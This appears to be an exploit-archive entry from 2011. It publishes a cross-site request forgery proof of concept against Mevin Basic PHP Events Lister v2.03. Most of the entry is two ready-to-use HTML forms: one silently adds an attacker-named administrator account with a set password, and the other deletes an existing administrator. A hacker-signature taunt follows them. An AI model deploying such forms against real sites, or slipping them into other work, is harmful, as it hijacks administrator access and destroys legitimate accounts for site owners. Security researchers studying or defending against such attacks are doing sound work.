[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Mevin Basic PHP Events Lister v2.03 CSRF Vulnerabilities
# Published : 2011-07-21
# Author :
# Previous Title : ManageEngine ServiceDesk Plus 8.0 Build 8013 Multiple XSS Vulnerabilities
# Next Title : CA ARCserve D2D r15 GWT RPC Multiple Vulnerabilities
#######################################################
# Author: Crazy_Hacker
# Script: Mevin Basic PHP Events Lister v2.03
# Exploit type: CSRF Vulnerability [Add & Delete Admin]
# Download: http://www.mevin.com/downloads/Basic-php-events-lister2.03.zip
# Risk: High
# Contact: jy8@hotmail.com
#######################################################
<form name="setup" action="http://127.0.0.1/events2/admin/user_add.php" method="post">
<input name="uname" type="hidden" value="Crazy_Hacker" />
<input name="pword" type="hidden" value="PWNED!!" />
<input type=submit name=submit value="Add Admin">
</form>
<form action="http://localhost/events2/admin/user_delete.php?id=8" method="post">
<input type="hidden" name="ud_id" value="8">
<input type="submit" name="submit" value="Delete Admin">
</form>
\// S3crity just Suck5 \//
#EOF